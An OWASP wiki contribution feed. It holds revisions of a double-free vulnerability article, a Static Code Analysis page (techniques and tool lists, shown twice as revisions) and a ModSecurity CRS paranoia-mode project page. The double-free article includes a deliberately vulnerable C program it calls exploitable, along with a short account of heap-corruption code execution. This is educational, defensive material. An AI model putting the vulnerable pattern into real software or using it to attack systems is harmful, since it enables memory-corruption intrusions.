OWASP - User contributions [en]

Doubly freeing memory

2018-12-29T15:22:06Z

Christina Schelin: Merging Double Free into this article, since they're the same thing.

{{Template:Vulnerability}}{{Template:SecureSoftware}}{{Template:Fortify}}

Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''

==Description==

Double free errors occur when free() is called more than once with the same memory address as an argument.

Calling free() twice on the same value can lead to memory leak. When a program calls free() twice with the same argument, the program's memory management data structures become corrupted and could allow a malicious user to write values in arbitrary memory spaces. This corruption can cause the program to crash or, in some circumstances, alter the execution flow. By overwriting particular registers or memory spaces, an attacker can trick the program into executing code of his/her own choosing, often resulting in an interactive shell with elevated permissions.

When a buffer is free()'d, a linked list of free buffers is read to rearrange and combine the chunks of free memory (to be able to allocate larger buffers in the future). These chunks are laid out in a double linked list which points to previous and next chunks. Unlinking an unused buffer (which is what happens when free() is called) could allow an attacker to write arbitrary values in memory; essentially overwriting valuable registers, calling shellcode from its own buffer.

=== Consequences ===

* Access control: Doubly freeing memory may result in a write-what-where condition, allowing an attacker to execute arbitrary code.

=== Exposure period ===

* Requirements specification: A language which handles memory allocation and garbage collection automatically might be chosen.
* Implementation: Double frees are caused most often by lower-level logical errors.

=== Platform ===

* Language: C, C++, Assembly
* Operating system: All

=== Required resources ===

Any

=== Severity ===

High

=== Likelihood of exploit ===

Low to Medium

Doubly freeing memory can result in roughly the same write-what-where condition that the use of previously freed memory will.

== Examples ==

While contrived, this code should be exploitable on Linux distributions that don't ship with heap-chunk check summing turned on.

<pre>
#include <stdio.h>
#include <unistd.h>

#define BUFSIZE1 512
#define BUFSIZE2 ((BUFSIZE1/2) - 8)

int main(int argc, char **argv) {
char *buf1R1;
char *buf2R1;
char *buf1R2;

buf1R1 = (char *) malloc(BUFSIZE2);
buf2R1 = (char *) malloc(BUFSIZE2);

free(buf1R1);
free(buf2R1);

buf1R2 = (char *) malloc(BUFSIZE1);
strncpy(buf1R2, argv[1], BUFSIZE1-1);

free(buf2R1);
free(buf1R2);
}
</pre>

Double free vulnerabilities have three common (and sometimes overlapping) causes:

* Error conditions and other exceptional circumstances
* Usage of the memory space after it's freed.
* Confusion over which part of the program is responsible for freeing the memory

Although some double free vulnerabilities are not much more complicated than the previous example, most are spread out across hundreds of lines of code or even different files. Programmers seem particularly susceptible to freeing global variables more than once.

==Related [[Controls]]==

* Implementation: Ensure that each allocation is freed only once. After freeing a chunk, set the pointer to NULL to ensure the pointer cannot be freed again. In complicated error conditions, be sure that clean-up routines respect the state of allocation properly. If the language is object oriented, ensure that object destructors delete each chunk of memory only once.

==Related [[Attacks]]==

* [[Buffer_Overflows#Heap_Overflow|Heap overflow]]
* [[Buffer overflow attack]]

[[Category:C/C++]]
[[Category:Code Quality Vulnerability]]
[[Category:Vulnerability]]

Double Free

2018-12-29T15:22:01Z

Christina Schelin: Redirecting from here to Doubly_freeing_memory, since they're effectively the same thing.

#REDIRECT [[Doubly_freeing_memory]]

Template:SecureSoftware

2018-12-29T15:15:16Z

Christina Schelin: Adding a description.

<includeonly>__NOTOC__</includeonly><noinclude>Disables the default wiki table of contents from appearing.</noinclude>

Static Code Analysis

2018-12-29T14:58:32Z

Christina Schelin: Adding OS information. Organizing the open source table a bit.

Every '''[[control]]''' should follow this template.

{{Template:Control}}
<br>
[[Category:OWASP ASDR Project]]

Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''

==Description==

Static Code Analysis (also known as Source Code Analysis) is usually performed as part of a Code Review (also known as white-box testing) and is carried out at the Implementation phase of a Security Development Lifecycle (SDL). Static Code Analysis commonly refers to the running of Static Code Analysis tools that attempt to highlight possible vulnerabilities within 'static' (non-running) source code by using techniques such as Taint Analysis and Data Flow Analysis.

Ideally, such tools would automatically find security flaws with a high degree of confidence that what is found is indeed a flaw. However, this is beyond the state of the art for many types of application security flaws. Thus, such tools frequently serve as aids for an analyst to help them zero in on security relevant portions of code so they can find flaws more efficiently, rather than a tool that simply finds flaws automatically.

Some tools are starting to move into the Integrated Development Environment (IDE). For the types of problems that can be detected during the software development phase itself, this is a powerful phase within the development lifecycle to employ such tools, as it provides immediate feedback to the developer on issues they might be introducing into the code during code development itself. This immediate feedback is very useful as compared to finding vulnerabilities much later in the development cycle.

The UK Defense Standard 00-55 requires that Static Code Analysis be used on all 'safety related software in defense equipment'.<sup>[0]</sup>

==Techniques==
There are various techniques to analyze static source code for potential vulnerabilities that maybe combined into one solution. These techniques are often derived from compiler technologies.

===Data Flow Analysis===
Data flow analysis is used to collect run-time (dynamic) information about data in software while it is in a static state (Wögerer, 2005).

There are three common terms used in data flow analysis, basic block (the code), Control Flow Analysis (the flow of data) and Control Flow Path (the path the data takes):

Basic block: A sequence of consecutive instructions where control enters at the beginning of a block, control leaves at the end of a block and the block cannot halt or branch out except at its end (Wögerer, 2005).

Example PHP basic block:

<pre>
1. $a = 0;
2. $b = 1;
3.
4. if ($a == $b)
5. { # start of block
6. echo “a and b are the same”;
7. } # end of block
8. else
9. { # start of block
10. echo “a and b are different”;
11.} # end of block
</pre>

=== Control Flow Graph (CFG) ===
An abstract graph representation of software by use of nodes that represent basic blocks. A node in a graph represents a block; directed edges are used to represent jumps (paths) from one block to another. If a node only has an exit edge, this is known as an ‘entry’ block, if a node only has a entry edge, this is know as an ‘exit’ block (Wögerer, 2005).

Example Control Flow Graph; ‘node 1’ represents the entry block and ‘node 6’ represents the exit block.

[[File:Control_flow_graph.png|400x200px]]

===Taint Analysis===
Taint Analysis attempts to identify variables that have been 'tainted' with user controllable input and traces them to possible vulnerable functions also known as a 'sink'. If the tainted variable gets passed to a sink without first being sanitized it is flagged as a vulnerability.

Some programming languages such as Perl and Ruby have Taint Checking built into them and enabled in certain situations such as accepting data via CGI.

===Lexical Analysis===
Lexical Analysis converts source code syntax into ‘tokens’ of information in an attempt to abstract the source code and make it easier to manipulate (Sotirov, 2005).

Pre tokenised PHP source code:

<pre>
<?php $name = "Ryan"; ?>
</pre>

Post tokenised PHP source code:

<pre>
T_OPEN_TAG
T_VARIABLE
=
T_CONSTANT_ENCAPSED_STRING
;
T_CLOSE_TAG
</pre>

==Strengths and Weaknesses==

=== Strengths ===
* Scales Well (Can be run on lots of software, and can be repeatedly (like in nightly builds))
* For things that such tools can automatically find with high confidence, such as buffer overflows, SQL Injection Flaws, etc. they are great.

=== Weaknesses ===
* Many types of security vulnerabilities are very difficult to find automatically, such as authentication problems, access control issues, insecure use of cryptography, etc. The current state of the art only allows such tools to automatically find a relatively small percentage of application security flaws. Tools of this type are getting better, however.
* High numbers of false positives.
* Frequently can't find configuration issues, since they are not represented in the code.
* Difficult to 'prove' that an identified security issue is an actual vulnerability.
* Many of these tools have difficulty analyzing code that can't be compiled. Analysts frequently can't compile code because they don't have the right libraries, all the compilation instructions, all the code, etc.

==Limitations==

===False Positives===
A static code analysis tool will often produce false positive results where the tool reports a possible vulnerability that in fact is not. This often occurs because the tool cannot be sure of the integrity and security of data as it flows through the application from input to output.

False positive results might be reported when analysing an application that interacts with closed source components or external systems because without the source code it is impossible to trace the flow of data in the external system and hence ensure the integrity and security of the data.

===False Negatives===
The use of static code analysis tools can also result in false negative results where vulnerabilities result but the tool does not report them. This might occur if a new vulnerability is discovered in an external component or if the analysis tool has no knowledge of the runtime environment and whether it is configured securely.

==Important Selection Criteria==

* Requirement: Must support your language, but not usually a key factor once it does.
* Types of Vulnerabilities it can detect (The OWASP Top Ten?) (more?)
* Does it require a fully buildable set of source?
* Can it run against binaries instead of source?
* Can it be integrated into the developer's IDE?
* License cost for the tool. (Some are sold per user, per org, per app, per line of code analyzed. Consulting licenses are frequently different than end user licenses.)
* Does it support Object-oriented programming (OOP)?

==Examples==

===RIPS PHP Static Code Analysis Tool===
[[File:Rips.jpg|400px|thum|]]

===OWASP LAPSE+ Static Code Analysis Tool===
[[File:LapsePlusScreenshot.png|400px|thum|]]

== Tools ==

===OWASP Tools===

{|class="wikitable"
! Software
! Language(s)
|-
| [[:Category:OWASP_Code_Crawler|OWASP Code Crawler]]
| .NET, Java
|-
| [[:Category:OWASP_Orizon_Project|OWASP Orizon Project]]
| Java
|-
| [[OWASP LAPSE Project]]
| Java
|-
| [[OWASP O2 Platform]]
|
|-
| [[OWASP WAP-Web Application Protection]]
| PHP
|}

=== Open Source/Free ===

{|class="wikitable"
! Software
! Language(s)
! OS(es)
|-
| [https://sourceforge.net/projects/agnitiotool/ Agnitio]
| ASP, ASP.NET, C#, Java, Javascript, Perl, PHP, Python, Ruby, VB.NET, XML
| Windows
|-
| [https://brakemanscanner.org/ Brakeman]
| Ruby, Rails
|
|-
| [https://www.bishopfox.com/resources/tools/google-hacking-diggity/attack-tools/ Google CodeSearchDiggity]
| Multiple
|
|-
| [http://www.devbug.co.uk DevBug]
| PHP
| web-based
|-
| [http://findbugs.sourceforge.net/ FindBugs]
| Java
|
|-
| [https://find-sec-bugs.github.io/ Find Security Bugs]
| Java, Scala, Groovy
|
|-
| [https://dwheeler.com/flawfinder/ FlawFinder]
| C, C++
|
|-
| [https://docs.microsoft.com/en-us/previous-versions/dotnet/netframework-3.0/bb429476(v=vs.80) Microsoft FxCop]
| .NET
|
|-
| [https://security-code-scan.github.io/ .NET Security Guard]
| .NET, C#, VB.net
|
|-
| [https://github.com/FloeDesignTechnologies/phpcs-security-audit phpcs-security-audit]
| PHP
| Windows, Unix
|-
| [https://pmd.github.io/ PMD]
| Java, JavaScript, Salesforce.com Apex and Visualforce, PLSQL, Apache Velocity, XML, XSL
|
|-
| [https://www.pumascan.com/ Puma Scan]
| .NET, C#
|
|-
| [https://docs.microsoft.com/en-us/previous-versions/windows/embedded/ms933794(v=msdn.10) Microsoft PREFast]
| C, C++
|
|-
| [http://rips-scanner.sourceforge.net/ RIPS]
| PHP
| any
|-
| [https://sonarcloud.io/about SonarCloud]
| ABAP, C, C++, Objective-C, COBOL, C#, CSS, Flex, Go, HTML, Java, Javascript, Kotlin, PHP, PL/I, PL/SQL, Python, RPG, Ruby, Swift, T-SQL, TypeScript, VB6, VB, XML
|
|-
| [https://www.splint.org/ Splint]
| C
|
|-
| [https://sourceforge.net/projects/visualcodegrepp/ VisualCodeGrepper]
| C/C++, C#, VB, PHP, Java, PL/SQL
| Windows
|}

=== Commercial ===

{| class="wikitable"
! Software
! Language(s)
! Notes
|-
| [https://www.microfocus.com/en-us/products/static-code-analysis-sast/overview Fortify]
| ABAP/BSP, ActionScript/MXML (Flex), ASP.NET, VB.NET, C# (.NET), C/C++, Classic ASP (w/VBScript), COBOL, ColdFusion CFML, HTML, Java (including Android), JavaScript/AJAX, JSP, Objective-C, PHP, PL/SQL, Python, T-SQL, Ruby, Swift, Visual Basic, VBScript, XML
| OWASP Member
|-
| [https://www.veracode.com/ Veracode]
| Android, ASP.NET, C#, C, C++, Classic ASP, COBOL, ColdFusion/Java, Go, Groovy, iOS, Java, JavaScript, Perl, PhoneGap/Cordova, PHP, Python, React Native, RPG, Ruby on Rails, Scala, Titanium, TypeScript, VB.NET, Visual Basic 6, Xamarin
| OWASP Member
|-
| [https://www.grammatech.com/ CodeSonar]
| C, C++, Java
|
|-
| [https://www.parasoft.com/ ParaSoft]
| C, C++, Java, .NET
|
|-
| <s>[http://www.armorize.com/codesecure/ Armorize CodeSecure]</s>
|
| OWASP Member; acquired by Proofpoint in 2013
|-
| [https://www.checkmarx.com/ Checkmarx Static Code Analysis]
| Android, Apex, ASP.NET, C#, C++, Go, Groovy, HTML5, Java, JavaScript, JSP, .NET, Objective-C, Perl, PHP, PL/SQL, Python, Ruby, Scala, Swift, TypeScript, VB.NET, Visual Basic 6, Windows Phone
| OWASP Member
|-
| [https://www.ibm.com/us-en/marketplace/ibm-appscan-source IBM AppScan Source]
|
|
|-
| [https://www.synopsys.com/software-integrity/security-testing/static-analysis-sast.html Coverity]
| Android, C#, C, C++, Java, JavaScript, Node.js, Objective-C, PHP, Python, Ruby, Scala, Swift, VB.NET
|
|-
| [https://www.viva64.com/en/pvs-studio/ PVS-Studio]
| C, C++, C#
|
|-
| [https://pumascan.com/pricing/ Puma Scan Professional]
| C#
|
|-
| [https://www.roguewave.com/products-services/klocwork/static-code-analysis Klocwork]
| C, C++, C#, Javaa
|
|-
| [https://www.mathworks.com/products/polyspace.html Polyspace Static Analysis]
| C, C++, Ada
|
|-
| [https://www.ripstech.com/ RIPS NextGen]
| PHP
|
|}

===Other Tool Lists===

* [http://samate.nist.gov/index.php/Source_Code_Security_Analyzers.html NIST - Source Code Security Analyzers]
* [http://en.wikipedia.org/wiki/List_of_tools_for_static_code_analysis Wikipedia - List of tools for static code analysis]

==References==
[0] {{cite web |url=http://www.software-supportability.org/Docs/00-55_Part_2.pdf |title=Requirements for Safety Related Software in Defence Equipment |date=August 1, 1997 |format=pdf |publisher=Ministry of Defence |access-date=December 17, 2018}}

== Further Reading ==

* [https://www.owasp.org/images/2/2e/OWASP_Code_Review_Guide-V1_1.pdf OWASP Code Review Guide v1.1]
* http://www.crosstalkonline.org/storage/issue-archives/2003/200311/200311-German.pdf
* http://www.ida.liu.se/~TDDC90/papers/industrial95.pdf
* http://www.php-security.org/downloads/rips.pdf
* http://www.seclab.tuwien.ac.at/papers/pixy.pdf

[[Category:FIXME|
In addition, one should classify control based on the following subcategories: Ex:<nowiki>[[Category:Error Handling Control]]</nowiki>

Availability Control
Authorization Control
Authentication Control
Concurrency Control
Configuration Control
Cryptographic Control
Encoding Control
Error Handling Control
Input Validation Control
Logging and Auditing Control
Session Management Control
]]
__FORCETOC__

[[Category:Control]]

Static Code Analysis

2018-12-17T16:03:47Z

Christina Schelin: Updating links and languages.

Every '''[[control]]''' should follow this template.

{{Template:Control}}
<br>
[[Category:OWASP ASDR Project]]

Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''

==Description==

Static Code Analysis (also known as Source Code Analysis) is usually performed as part of a Code Review (also known as white-box testing) and is carried out at the Implementation phase of a Security Development Lifecycle (SDL). Static Code Analysis commonly refers to the running of Static Code Analysis tools that attempt to highlight possible vulnerabilities within 'static' (non-running) source code by using techniques such as Taint Analysis and Data Flow Analysis.

Ideally, such tools would automatically find security flaws with a high degree of confidence that what is found is indeed a flaw. However, this is beyond the state of the art for many types of application security flaws. Thus, such tools frequently serve as aids for an analyst to help them zero in on security relevant portions of code so they can find flaws more efficiently, rather than a tool that simply finds flaws automatically.

Some tools are starting to move into the Integrated Development Environment (IDE). For the types of problems that can be detected during the software development phase itself, this is a powerful phase within the development lifecycle to employ such tools, as it provides immediate feedback to the developer on issues they might be introducing into the code during code development itself. This immediate feedback is very useful as compared to finding vulnerabilities much later in the development cycle.

The UK Defense Standard 00-55 requires that Static Code Analysis be used on all 'safety related software in defense equipment'.<sup>[0]</sup>

==Techniques==
There are various techniques to analyze static source code for potential vulnerabilities that maybe combined into one solution. These techniques are often derived from compiler technologies.

===Data Flow Analysis===
Data flow analysis is used to collect run-time (dynamic) information about data in software while it is in a static state (Wögerer, 2005).

There are three common terms used in data flow analysis, basic block (the code), Control Flow Analysis (the flow of data) and Control Flow Path (the path the data takes):

Basic block: A sequence of consecutive instructions where control enters at the beginning of a block, control leaves at the end of a block and the block cannot halt or branch out except at its end (Wögerer, 2005).

Example PHP basic block:

<pre>
1. $a = 0;
2. $b = 1;
3.
4. if ($a == $b)
5. { # start of block
6. echo “a and b are the same”;
7. } # end of block
8. else
9. { # start of block
10. echo “a and b are different”;
11.} # end of block
</pre>

=== Control Flow Graph (CFG) ===
An abstract graph representation of software by use of nodes that represent basic blocks. A node in a graph represents a block; directed edges are used to represent jumps (paths) from one block to another. If a node only has an exit edge, this is known as an ‘entry’ block, if a node only has a entry edge, this is know as an ‘exit’ block (Wögerer, 2005).

Example Control Flow Graph; ‘node 1’ represents the entry block and ‘node 6’ represents the exit block.

[[File:Control_flow_graph.png|400x200px]]

===Taint Analysis===
Taint Analysis attempts to identify variables that have been 'tainted' with user controllable input and traces them to possible vulnerable functions also known as a 'sink'. If the tainted variable gets passed to a sink without first being sanitized it is flagged as a vulnerability.

Some programming languages such as Perl and Ruby have Taint Checking built into them and enabled in certain situations such as accepting data via CGI.

===Lexical Analysis===
Lexical Analysis converts source code syntax into ‘tokens’ of information in an attempt to abstract the source code and make it easier to manipulate (Sotirov, 2005).

Pre tokenised PHP source code:

<pre>
<?php $name = "Ryan"; ?>
</pre>

Post tokenised PHP source code:

<pre>
T_OPEN_TAG
T_VARIABLE
=
T_CONSTANT_ENCAPSED_STRING
;
T_CLOSE_TAG
</pre>

==Strengths and Weaknesses==

=== Strengths ===
* Scales Well (Can be run on lots of software, and can be repeatedly (like in nightly builds))
* For things that such tools can automatically find with high confidence, such as buffer overflows, SQL Injection Flaws, etc. they are great.

=== Weaknesses ===
* Many types of security vulnerabilities are very difficult to find automatically, such as authentication problems, access control issues, insecure use of cryptography, etc. The current state of the art only allows such tools to automatically find a relatively small percentage of application security flaws. Tools of this type are getting better, however.
* High numbers of false positives.
* Frequently can't find configuration issues, since they are not represented in the code.
* Difficult to 'prove' that an identified security issue is an actual vulnerability.
* Many of these tools have difficulty analyzing code that can't be compiled. Analysts frequently can't compile code because they don't have the right libraries, all the compilation instructions, all the code, etc.

==Limitations==

===False Positives===
A static code analysis tool will often produce false positive results where the tool reports a possible vulnerability that in fact is not. This often occurs because the tool cannot be sure of the integrity and security of data as it flows through the application from input to output.

False positive results might be reported when analysing an application that interacts with closed source components or external systems because without the source code it is impossible to trace the flow of data in the external system and hence ensure the integrity and security of the data.

===False Negatives===
The use of static code analysis tools can also result in false negative results where vulnerabilities result but the tool does not report them. This might occur if a new vulnerability is discovered in an external component or if the analysis tool has no knowledge of the runtime environment and whether it is configured securely.

==Important Selection Criteria==

* Requirement: Must support your language, but not usually a key factor once it does.
* Types of Vulnerabilities it can detect (The OWASP Top Ten?) (more?)
* Does it require a fully buildable set of source?
* Can it run against binaries instead of source?
* Can it be integrated into the developer's IDE?
* License cost for the tool. (Some are sold per user, per org, per app, per line of code analyzed. Consulting licenses are frequently different than end user licenses.)
* Does it support Object-oriented programming (OOP)?

==Examples==

===RIPS PHP Static Code Analysis Tool===
[[File:Rips.jpg|400px|thum|]]

===OWASP LAPSE+ Static Code Analysis Tool===
[[File:LapsePlusScreenshot.png|400px|thum|]]

== Tools ==

===OWASP Tools===

{|class="wikitable"
! Software
! Language(s)
|-
| [[:Category:OWASP_Code_Crawler|OWASP Code Crawler]]
| .NET, Java
|-
| [[:Category:OWASP_Orizon_Project|OWASP Orizon Project]]
| Java
|-
| [[OWASP LAPSE Project]]
| Java
|-
| [[OWASP O2 Platform]]
|
|-
| [[OWASP WAP-Web Application Protection]]
| PHP
|}

=== Open Source/Free ===

{|class="wikitable"
! Software
! Language(s)
|-
| [https://sourceforge.net/projects/agnitiotool/ Agnitio]
| ASP, ASP.NET, C#, Java, Javascript, Perl, PHP, Python, Ruby, VB.NET, XML
|-
| [https://brakemanscanner.org/ Brakeman]
| Ruby, Rails
|-
| [http://www.devbug.co.uk DevBug]
| PHP
|-
| [http://findbugs.sourceforge.net/ FindBugs]
| Java
|-
| [https://find-sec-bugs.github.io/ Find Security Bugs]
| Java, Scala, Groovy
|-
| [https://dwheeler.com/flawfinder/ FlawFinder]
| C, C++
|-
| [https://docs.microsoft.com/en-us/previous-versions/dotnet/netframework-3.0/bb429476(v=vs.80) Microsoft FxCop]
| .NET
|-
| [https://security-code-scan.github.io/ .NET Security Guard]
| .NET, C#, VB.net
|-
| [https://www.bishopfox.com/resources/tools/google-hacking-diggity/attack-tools/ Google CodeSearchDiggity]
| Multiple
|-
| [https://pmd.github.io/ PMD]
| Java, JavaScript, Salesforce.com Apex and Visualforce, PLSQL, Apache Velocity, XML, XSL
|-
| [https://www.pumascan.com/ Puma Scan]
| .NET, C#
|-
| [https://docs.microsoft.com/en-us/previous-versions/windows/embedded/ms933794(v=msdn.10) Microsoft PREFast]
| C, C++
|-
| [https://sonarcloud.io/about SonarCloud]
| ABAP, C, C++, Objective-C, COBOL, C#, CSS, Flex, Go, HTML, Java, Javascript, Kotlin, PHP, PL/I, PL/SQL, Python, RPG, Ruby, Swift, T-SQL, TypeScript, VB6, VB, XML
|-
| [https://www.splint.org/ Splint]
| C
|-
| [https://sourceforge.net/projects/visualcodegrepp/ VisualCodeGrepper]
| C/C++, C#, VB, PHP, Java, PL/SQL
|-
| [http://rips-scanner.sourceforge.net/ RIPS]
| PHP
|-
| [https://github.com/FloeDesignTechnologies/phpcs-security-audit phpcs-security-audit]
| PHP
|}

=== Commercial ===

{| class="wikitable"
! Software
! Language(s)
! Notes
|-
| [https://www.microfocus.com/en-us/products/static-code-analysis-sast/overview Fortify]
| ABAP/BSP, ActionScript/MXML (Flex), ASP.NET, VB.NET, C# (.NET), C/C++, Classic ASP (w/VBScript), COBOL, ColdFusion CFML, HTML, Java (including Android), JavaScript/AJAX, JSP, Objective-C, PHP, PL/SQL, Python, T-SQL, Ruby, Swift, Visual Basic, VBScript, XML
| OWASP Member
|-
| [https://www.veracode.com/ Veracode]
| Android, ASP.NET, C#, C, C++, Classic ASP, COBOL, ColdFusion/Java, Go, Groovy, iOS, Java, JavaScript, Perl, PhoneGap/Cordova, PHP, Python, React Native, RPG, Ruby on Rails, Scala, Titanium, TypeScript, VB.NET, Visual Basic 6, Xamarin
| OWASP Member
|-
| [https://www.grammatech.com/ CodeSonar]
| C, C++, Java
|
|-
| [https://www.parasoft.com/ ParaSoft]
| C, C++, Java, .NET
|
|-
| <s>[http://www.armorize.com/codesecure/ Armorize CodeSecure]</s>
|
| OWASP Member; acquired by Proofpoint in 2013
|-
| [https://www.checkmarx.com/ Checkmarx Static Code Analysis]
| Android, Apex, ASP.NET, C#, C++, Go, Groovy, HTML5, Java, JavaScript, JSP, .NET, Objective-C, Perl, PHP, PL/SQL, Python, Ruby, Scala, Swift, TypeScript, VB.NET, Visual Basic 6, Windows Phone
| OWASP Member
|-
| [https://www.ibm.com/us-en/marketplace/ibm-appscan-source IBM AppScan Source]
|
|
|-
| [https://www.synopsys.com/software-integrity/security-testing/static-analysis-sast.html Coverity]
| Android, C#, C, C++, Java, JavaScript, Node.js, Objective-C, PHP, Python, Ruby, Scala, Swift, VB.NET
|
|-
| [https://www.viva64.com/en/pvs-studio/ PVS-Studio]
| C, C++, C#
|
|-
| [https://pumascan.com/pricing/ Puma Scan Professional]
| C#
|
|-
| [https://www.roguewave.com/products-services/klocwork/static-code-analysis Klocwork]
| C, C++, C#, Javaa
|
|-
| [https://www.mathworks.com/products/polyspace.html Polyspace Static Analysis]
| C, C++, Ada
|
|-
| [https://www.ripstech.com/ RIPS NextGen]
| PHP
|
|}

===Other Tool Lists===

* [http://samate.nist.gov/index.php/Source_Code_Security_Analyzers.html NIST - Source Code Security Analyzers]
* [http://en.wikipedia.org/wiki/List_of_tools_for_static_code_analysis Wikipedia - List of tools for static code analysis]

==References==
[0] {{cite web |url=http://www.software-supportability.org/Docs/00-55_Part_2.pdf |title=Requirements for Safety Related Software in Defence Equipment |date=August 1, 1997 |format=pdf |publisher=Ministry of Defence |access-date=December 17, 2018}}

== Further Reading ==

* [https://www.owasp.org/images/2/2e/OWASP_Code_Review_Guide-V1_1.pdf OWASP Code Review Guide v1.1]
* http://www.crosstalkonline.org/storage/issue-archives/2003/200311/200311-German.pdf
* http://www.ida.liu.se/~TDDC90/papers/industrial95.pdf
* http://www.php-security.org/downloads/rips.pdf
* http://www.seclab.tuwien.ac.at/papers/pixy.pdf

[[Category:FIXME|
In addition, one should classify control based on the following subcategories: Ex:<nowiki>[[Category:Error Handling Control]]</nowiki>

Availability Control
Authorization Control
Authentication Control
Concurrency Control
Configuration Control
Cryptographic Control
Encoding Control
Error Handling Control
Input Validation Control
Logging and Auditing Control
Session Management Control
]]
__FORCETOC__

[[Category:Control]]

OWASP ModSec CRS Paranoia Mode

2018-03-16T17:45:58Z

Christina Schelin:

==Abstract==

This is a page about the development of a paranoia mode aka bringing back the rules that used to yield a high number of false positives. This little project is aimed at inclusion into the 3.0.0 release of the OWASP ModSecurity Core Rules, where some rules have been removed in order to reduce the number of false positives with vanilla installations.

FIXME: Detailed description

''Back to the [[:Category:OWASP_ModSecurity_Core_Rule_Set_Project|OWASP ModSecurity Core Rules Set]].''

==Sub-Project Infos==

* '''Status''': active (January 2016)
* '''Schedule''': '''DONE''' (we're all done and Paranoia Mode made it into the CRS3 release.
* '''Who''': Christian Folini (dune73), Noël Zindel (zino), Franziska Bühler (franziskabuehler), Manuel Leos (Spartan), Walter Hop (lifeforms)
* '''Documentation''': Here on the [https://www.owasp.org/index.php/OWASP_ModSec_CRS_Paranoia_Mode OWASP Wiki] / [https://www.netnea.com/cms/2016/02/04/owasp-modsecurity-core-rules-paranoia-mode-mechanics-proposal/ Mechanics Proposal]
* '''Discussion / Archive''': <tt>owasp-modsecurity-core-rule-set@lists.owasp.org</tt> / archive: http://lists.owasp.org/pipermail/owasp-modsecurity-core-rule-set/
* '''Github Link v3.0.0-rc1 (our base)''': https://github.com/SpiderLabs/owasp-modsecurity-crs/tree/v3.0.0-rc1
* '''Github Link paranoia-mode''': https://github.com/dune73/owasp-modsecurity-crs/tree/paranoia-mode
* '''Final Pull Request #1: Add paranoia mode mechanics''': https://github.com/SpiderLabs/owasp-modsecurity-crs/pull/292 MERGED
* '''Final Pull Request #2: Move first rules to paranoia mode''': https://github.com/SpiderLabs/owasp-modsecurity-crs/pull/300 MERGED
* '''Final Pull Request #3: Add 2.2.X rules to paranoia mode''': https://github.com/SpiderLabs/owasp-modsecurity-crs/pull/308 MERGED
* '''Final Pull Request #4: Add stricter siblings''': FIXME

==Tasks==

===Open Tasks===

Please define state as follows: ''new'', ''assigned'', ''waiting'', ''closed''. When a task is closed, it is moved to the seperate closed tasks table below.

{|- class="wikitable"
|'''Task'''
|         '''Who'''       
|    '''Status'''   
|-
| Write pull request number 4
| n.n.
| new
|-
| Submit pull request number 4
| n.n.
| new
|-
| Draw flowchart
| n.n.
| new
|-
| Write documentation
| Christian
| new
|}

===Closed Tasks===

{|- class="wikitable"
|'''Task'''
|         '''Who'''       
|    '''Status'''   
|-
| Assemble list of rules, which triggered false positives in 2.2.X frequently
| Christian
| closed
|-
| Assemble list of 2.2.x rules, which have disappeared from 3.0.0-rc1
| Spartan
| closed
|-
| Assemble list of 3.0.0-rc1 rules, which could be accompanied with<br />stricter siblings in paranoia mode<br />(same idea of the rule, but harder limit etc.)
| Christian
| closed
|-
| Assemble list of 3.0.0-rc1 rules, which could be moved to the paranoia mode
| Franziska
| closed
|-
| Assemble list of disappeared / missing 2.2.X base_rules, which should be brought back
| group
| closed
|-
| Assemble list of 2.2.X optional and experimental rules, which should be brought back
| group
| closed (could be repeated more throughly)
|-
| Nail down final list of rules which should be moved / recreated into the paranoia mode
| group
| closed
|-
| Sort out mechanics of the paranoia mode
| Christian
| closed
|-
| Write new stricter siblings for existing rules
| Noël
| closed
|-
| Define ID-space for strict siblings
| Fraziska, group
| closed
|-
| Define exact syntax of paranoia mode setup
| Christian, group
| closed
|-
| Sort out name: Is "Paranoia Mode" really the right term?
| Christian, group
| closed
|}

==Rules==

===Paranoia Mode Candidates===

The 3.0.0-rc1 has all rules renumbered. Existing numbering was fairly crazy and the new numbering follows the numbering scheme of the rules files (-> 9<2-digit-rulefile><3-digit-id>)
A mapping table exists [[https://github.com/SpiderLabs/owasp-modsecurity-crs/blob/v3.0.0-rc1/id_renumbering/IdNumbering.csv IdNumbering.csv]]
We need to make sure, we do not mess things up, so let's add both IDs to the table, the old one and the new one.

Please set status as follows : ''confirmed'',''candidate'', ''cloning-confirmed'',''cloning-candidate'', ''unsure'', ''dropped''.
* 'cloning-confirmed', 'cloning-candidates' are rules, that could be cloned into an even stricter variant with a stricter limit in a higher paranoia setting.
* If dropped, please provide reasoning in the remarks.

{|- class="wikitable"
|'''RuleID 2.2.x'''
|'''RuleID 3.0.0-rc1'''
|         '''msg'''       
|    '''Status'''   
|    '''Remarks'''   
|-
| 950001
| 942150
| SQL Injection Attack
| confirmed
| Christian's 2.2.X experience: frequently false positives. Also Franziska's candidate: @pmf file with very short function names, could match frequently.
|-
| 950109
| 920230
| Multiple URL Encoding Detected
| confirmed
| Christian's 2.2.X experience: frequently false positives
|-
| 950120
| 931130
| Possible Remote File Inclusion (RFI) Attack: Off-Domain Reference/Link
| confirmed
| Walter's 2.2.X candidate: many FP; Chrstian: hardly any FPs; <br/>discussion concluded, that rule should end up in paranoia mode, possibly with additional conditions to reduce FPs (scope outside of this paranoia mode project)<br/>[http://lists.owasp.org/pipermail/owasp-modsecurity-core-rule-set/2016-February/001885.html Link to discussion]
|-
| 960335
| 920380
| Too many arguments in request
| confirmed
| Walter's 2.2.X candidate: some FP (phpMyAdmin, large forms), alternatively would recommend raising <code>tx.max_num_args</code> to 1000
|-
| 950901
| 942130
| SQL Injection Attack: SQL Tautology Detected.
| confirmed
| Christian's 2.2.X experience: very frequently false positives. Also Franziska's candidate: legitimate sentences could match. Walter's 2.2.x experience: many FP in natural text however the rule seems to have merit
|-
| 950916
| 921170
| HTTP Header Injection Attack via payload (CR/LF detected)
| confirmed
| Franziska's candidate: change action from pass to block and move to paranoia mode.
|-
| 959070
| gone -> 942380
| SQL Injection Attack
| confirmed
| Christian's 2.2.X experience: frequently false positives
|-
| 959071
| gone -> 942390
| SQL Injection Attack
| confirmed
| Christian's 2.2.X experience: frequently false positives
|-
| 959072
| gone -> 942400
| SQL Injection Attack
| confirmed
| Christian's 2.2.X experience: frequently false positives
|-
| 959073
| gone -> 942410
| SQL Injection Attack
| confirmed
| Christian's 2.2.X experience: very frequently false positives
|-
